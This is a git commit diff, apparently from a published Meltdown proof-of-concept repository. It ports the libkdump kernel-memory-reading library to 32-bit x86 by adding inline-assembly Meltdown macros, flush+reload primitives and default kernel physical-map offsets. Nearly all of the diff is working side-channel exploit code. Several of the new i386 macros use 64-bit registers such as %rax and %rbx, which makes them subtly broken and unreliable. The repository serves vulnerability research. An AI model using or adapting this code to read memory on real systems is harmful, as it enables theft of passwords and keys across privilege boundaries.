Add support to x86-32 platform

Signed-off-by: Raphael S. Carvalho <[email protected]>
isec-tugraz · Jan 10, 2018 · 587761c · 587761c
1 parent e5793de
commit 587761c
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Showing 3 changed files with 73 additions and 4 deletions.
diff --git a/libkdump/libkdump.c b/libkdump/libkdump.c
@@ -32,6 +32,13 @@ static libkdump_config_t config;
 #define _XBEGIN_STARTED (~0u)
 #endif
 
+#if defined(__i386__) && defined(FORCE_TSX)
+#undef FORCE_TSX
+#warning TSX cannot be forced on __i386__ platform, proceeding with compilation without it
+#endif
+
+#ifdef __x86_64__
+
 // ---------------------------------------------------------------------------
 #define meltdown                                                               \
   asm volatile("xorq %%rax, %%rax\n"                                           \
@@ -67,6 +74,44 @@ static libkdump_config_t config;
                : "c"(phys), "b"(mem)                                           \
                : "rax");
 
+#else /* __i386__ */
+
+// ---------------------------------------------------------------------------
+#define meltdown                                                               \
+ asm volatile("xorl %%eax, %%eax\n"                                            \
+              "1:\n"                                                           \
+              "movl (%%esi), %%esi\n"                                          \
+              "movb (%%ecx), %%al\n"                                           \
+              "shl $12, %%eax\n"                                               \
+              "jz 1b\n"                                                        \
+              "movl (%%ebx,%%eax,1), %%ebx\n"                                  \
+              :                                                                \
+              : "c"(phys), "b"(mem), "S"(0)                                    \
+              : "eax");
+
+// ---------------------------------------------------------------------------
+#define meltdown_nonull                                                        \
+  asm volatile("xorl %%eax, %%eax\n"                                           \
+               "1:\n"                                                          \
+               "movb (%%ecx), %%al\n"                                          \
+               "shl $12, %%rax\n"                                              \
+               "jz 1b\n"                                                       \
+               "movl (%%ebx,%%eax,1), %%ebx\n"                                 \
+               :                                                               \
+               : "c"(phys), "b"(mem)                                           \
+               : "eax");
+
+// ---------------------------------------------------------------------------
+#define meltdown_fast                                                          \
+  asm volatile("xorl %%eax, %%eax\n"                                           \
+               "movb (%%ecx), %%al\n"                                          \
+               "shl $12, %%rax\n"                                              \
+               "movl (%%rbx,%%rax,1), %%rbx\n"                                 \
+               :                                                               \
+               : "c"(phys), "b"(mem)                                           \
+               : "eax");
+#endif
+
 #ifndef MELTDOWN
 #define MELTDOWN meltdown_nonull
 #endif
@@ -102,8 +147,10 @@ static void debug(d_sym_t symbol, const char *fmt, ...) {
 static inline uint64_t rdtsc() {
   uint64_t a, d;
   asm volatile("mfence");
-#if defined(USE_RDTSCP)
+#if defined(USE_RDTSCP) && defined(__x86_64__)
   asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx");
+#elif defined(USE_RDTSCP) && defined(__i386__)
+  asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "ecx");
 #else
   asm volatile("rdtsc" : "=a"(a), "=d"(d));
 #endif
@@ -112,6 +159,7 @@ static inline uint64_t rdtsc() {
   return a;
 }
 
+#if defined(__x86_64__)
 // ---------------------------------------------------------------------------
 static inline void maccess(void *p) {
   asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax");
@@ -121,6 +169,17 @@ static inline void maccess(void *p) {
 static void flush(void *p) {
   asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax");
 }
+#else
+// ---------------------------------------------------------------------------
+static inline void maccess(void *p) {
+  asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax");
+}
+
+// ---------------------------------------------------------------------------
+static void flush(void *p) {
+  asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax");
+}
+#endif
 
 // ---------------------------------------------------------------------------
 static int __attribute__((always_inline)) flush_reload(void *ptr) {
@@ -269,7 +328,7 @@ static void auto_config() {
   config.load_threads = 1;
   config.load_type = NOP;
   config.retries = 10000;
-  config.physical_offset = 0xffff880000000000ull;
+  config.physical_offset = DEFAULT_PHYSICAL_OFFSET;
 }
 
 // ---------------------------------------------------------------------------
@@ -487,4 +546,4 @@ int __attribute__((optimize("-O0"))) libkdump_read(size_t addr) {
     }
   }
   return max_i;
-}
+}
diff --git a/libkdump/libkdump.h b/libkdump/libkdump.h
@@ -4,6 +4,16 @@
 #include <stdint.h>
 #include <stdio.h>
 
+#if !(defined(__x86_64__) || defined(__i386__))
+# error x86-64 and i386 are the only supported architectures
+#endif
+
+#ifdef __x86_64__
+#define DEFAULT_PHYSICAL_OFFSET 0xffff880000000000ull
+#else
+#define DEFAULT_PHYSICAL_OFFSET 0xc0000000ull
+#endif
+
 /**
  * libkdump exception handling
  */

diff --git a/reliability.c b/reliability.c
@@ -6,7 +6,7 @@
 int main(int argc, char *argv[]) {
   size_t scratch[4096];
   libkdump_config_t config;
-  size_t offset = 0xffff880000000000ull;
+  size_t offset = DEFAULT_PHYSICAL_OFFSET;
   int progress = 0;
   unsigned char secret = 'X';